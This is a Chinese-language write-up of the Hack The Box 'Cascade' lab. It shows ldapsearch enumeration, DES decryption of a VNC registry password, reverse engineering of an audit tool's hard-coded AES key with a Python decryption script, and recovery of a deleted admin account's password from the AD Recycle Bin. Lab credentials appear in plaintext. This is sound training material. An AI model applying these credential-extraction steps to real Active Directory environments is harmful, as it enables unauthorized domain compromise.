> 文章列表 > HTB-Cascade

HTB-Cascade

HTB-Cascade

HTB-Cascade

  • 信息收集
  • 立足
  • s.smith -> arksvc
    • 使用脚本获取CascAudit.exe加密的密码明文
    • 修改IL指令获取
  • arksvc -> administrator

HTB-Cascade

信息收集

HTB-Cascade
HTB-Cascade

查看smbclient。
HTB-Cascade
rpcclient空密码连接并收集信息。
HTB-Cascade
收集到用户列表,此外没有有意思的信息。

CascGuest
arksvc
s.smith
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
BackupSvc
j.allen
i.croft

用crackmapexec对smb和winrm跑一遍均没结果。

HTB-Cascade
看看能从LDAP上收集些什么。
HTB-Cascade

ldapsearch -H ldap://10.10.10.182 -x -s base -b '' "(objectclass=*)" "*"

HTB-Cascade
发现DC=cascade,DC=local

 ldapsearch -H ldap://10.10.10.182 -x -s sub -b 'DC=cascade,DC=local' "(objectclass=user)" "*"

HTB-Cascade
有一个Ryan Thompson的用户以及此用户的cascadeLegacyPwd: clk0bjVldmE=
HTB-Cascade

HTB-Cascade
返回rpc收集到的用户表可以看到有一位r.thompson,这会不会是ryan thompson的smb用户名呢?

HTB-Cascade
没错。
HTB-Cascade
使用r.thompson:rY4n5eva登录smb收集信息。
HTB-Cascade
有这些share文件。

    ADMIN$          Disk      Remote AdminAudit$          Disk      C$              Disk      Default shareData            Disk      IPC$            IPC       Remote IPCNETLOGON        Disk      Logon server share print$          Disk      Printer DriversSYSVOL          Disk      Logon server share 

不出意外末尾带$都无法访问。
HTB-Cascade
HTB-Cascade
HTB-Cascade

DCs\\dcdiag.log
HTB-Cascade
Meeting_Notes_June_2018.html,从中可以获取到Steve Smith、TempAdmin:(password is the same as the normal admin account password)。HTB-Cascade
什么叫和普通admin用户密码一样,是什么环境下的admin用户,继续看看吧。Temp\\s.smith\\VNC Install.reg里面可以知道Windows Registry Editor Version 5.00。
HTB-Cascade
里面还有一句"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f将其转为字符串看看。
HTB-Cascade
搜索得知VNC是经过DES加密。

echo -n 6bcf2a4b6e5aca0f| xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

获得密码。
HTB-Cascade

立足

HTB-Cascade
HTB-Cascade
不出意外要先横向再纵向。
HTB-Cascade

s.smith -> arksvc

收集s.smith用户信息。

HTB-Cascade
可能Logon script的默认位置是Netlogon。

Logon script                 MapAuditDrive.vbs

想看看Shares目录,结果没权限。
HTB-Cascade

可以通过smbclient查看NETLOGON。
HTB-Cascade
使用s.smith的凭证登录smb看看。

HTB-Cascade
HTB-Cascade
下载当前目录下所有文件
HTB-Cascade
以及X86和X64里面的文件
HTB-Cascade
有如下文件。
HTB-Cascade
RunAudit.bat文件类容如下,并且还有一个CascCrypto.dll文件,可能CascAudit.exe对这些文件做了什么处理。
HTB-Cascade
逆向看看。
HTB-Cascade使用dnspy32打开。
HTB-Cascade

重点是这几句。//定义str、password、str2为三个空字段
string str = string.Empty;
string password = string.Empty;
string str2 = string.Empty;	using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader()) //数据库执行 ,并返回数据读取器{sqliteDataReader.Read();	//前进到结果集中的下一行str = Conversions.ToString(sqliteDataReader["Uname"]);	//获取Uname列的值并转化为字符串赋予strstr2 = Conversions.ToString(sqliteDataReader["Domain"]);	//同上string encryptedString = Conversions.ToString(sqliteDataReader["Pwd"]);	//也同上try{password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");//重点来了将获得的encryptedString和c4scadek3y654321传入Crypto的DecryptString函数进行加密}catch (Exception ex){Console.WriteLine("Error decrypting password: " + ex.Message);return;}}

跟进函数查看内容。

public static string DecryptString(string EncryptedString, string Key){byte[] array = Convert.FromBase64String(EncryptedString);//将EncryptedString的base64转化为等价8位无符号整形数组Aes aes = Aes.Create(); //生成一个新的密码钥和vector (IV)aes.KeySize = 128;aes.BlockSize = 128;aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");	//吧1tdyjCbY1Ix49842转化为UTF8编码组aes.Mode = CipherMode.CBC;	//以CBC模式编码aes.Key = Encoding.UTF8.GetBytes(Key);//底下就是加密的一些过程string @string;using (MemoryStream memoryStream = new MemoryStream(array)){using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Read)){byte[] array2 = new byte[checked(array.Length - 1 + 1)];cryptoStream.Read(array2, 0, array2.Length);@string = Encoding.UTF8.GetString(array2);}}return @string;}

使用脚本获取CascAudit.exe加密的密码明文

根据分析可知CascAudit.exe对某个用户的PWD也就是password进行了AES的CBC模式加密。我们现在有了VI、KEY、还差Base64的密码。哎我数据库呢?重新下载好数据库后设置一个断点在PWD处运行即可获得我们需要的数据。
先在要断电的语句前面点一下添加断点。

HTB-Cascade
接着调试,参数填写数据库的所在位置,中断于入口点。
HTB-Cascade
HTB-Cascade

一路F10跑下来获取PWD值。

HTB-Cascade
当然也可以直接查看数据库内容
BQO5l5Kj9MdErXx6Q6AGOw==
HTB-Cascade

from Crypto.Cipher import AES
import base64def decrypt(pwd, key, iv):cipher = AES.new(key, AES.MODE_CBC, iv)decryptByts = base64.b64decode(pwd)msg = cipher.decrypt(decryptByts)paddingLen = ord(msg[len(msg)-1])return msg[0:-paddingLen]if __name__ == "__main__":key = "c4scadek3y654321"iv = "1tdyjCbY1Ix49842"pwd ="BQO5l5Kj9MdErXx6Q6AGOw=="print decrypt(pwd, key, iv)

HTB-Cascade

修改IL指令获取

找到加密的那条语句右键选择“编辑IL指令”。
HTB-Cascade
找到那条加密语句单机选择“方法”,并找到EncryptString解密函数。
HTB-Cascade
HTB-Cascade
修改完成之后的样子。
HTB-Cascade
HTB-Cascade
最后一直F10到解密语句即可。
HTB-Cascade

使用arksvc:w3lc0meFr31nd登录。
HTB-Cascade

arksvc -> administrator

查看用户更多信息时发现了AD Recycle Bin。

HTB-Cascade

AD Recycle Bin顾名思义,就是AD的回收桶,拥有恢复和删除的能力。前面我们从EMAIL知道有一个临时的admin密码和administrator是一样的,但是临时的admin账号密码在2018年底被删除了。去垃圾桶看看。

get-adobject -searchscope subtree -filter {displayname -eq “TempAdmin”} -includedeletedobjects 查看TempAdmin用户状况。
HTB-Cascade
现在需要查看一下TempAdmin的更加详细的信息。在Microsoft learn官方文档有参数介绍,其中有一个-Properties参数用来查看指定对象属性,查看全部属性使用*。
HTB-Cascade

Get-ADObject -Filter {samaccountName -eq "TempAdmin"} -IncludeDeletedObjects -Properties *

HTB-Cascade
会得到cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz。
HTB-Cascade
使用administrator:baCT3r1aN00dles
HTB-Cascade